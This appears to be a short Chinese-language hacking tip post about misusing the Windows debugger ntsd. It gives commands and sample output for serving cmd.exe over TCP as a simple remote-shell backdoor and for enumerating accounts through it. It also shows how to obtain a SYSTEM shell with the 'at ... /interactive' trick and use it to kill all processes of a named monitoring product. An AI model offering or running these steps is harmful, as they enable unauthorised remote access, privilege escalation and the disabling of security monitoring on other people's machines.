ntsd的兩個技巧
ntsd是win2000開始自帶的命令列除錯工具
一.簡易後門
ntsd -server tcp:port=22 cmd.exe
在另一臺機上:
ntsd -remote tcp:server=192.168.1.33,port=22
.shell
結果：
0:000> .shell
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
C:/><.shell waiting 1 second(s) for process>
<.shell process may need input>net user
net user
<.shell waiting 1 second(s) for process>
//X-4F5625DB5B074 的使用者帳戶
——————————————————————————-
aaa Administrator Guest
HelpAssistant IUSR_X-4F5625DB5B074 IWAM_X-4F5625DB5B074
SUPPORT_388945a0 xhacker
命令成功完成。
C:/><.shell waiting 1 second(s) for process>
<.shell process may need input>
二.殺程序
先用tasklist找到要殺的PID，然後ntsd -c q -p PID
有些程式需要system許可權才能kill，假設現在系統時間是4:55PM
“開始 “-> “執行 “-> “at 16:56 /interactive %systemroot%/system32/cmd.exe “-> 回車
這樣在4:56PM就會得到一個system許可權的shell
在這個shell裡面使用ntsd命令把“北信源監控”的所有程序殺掉。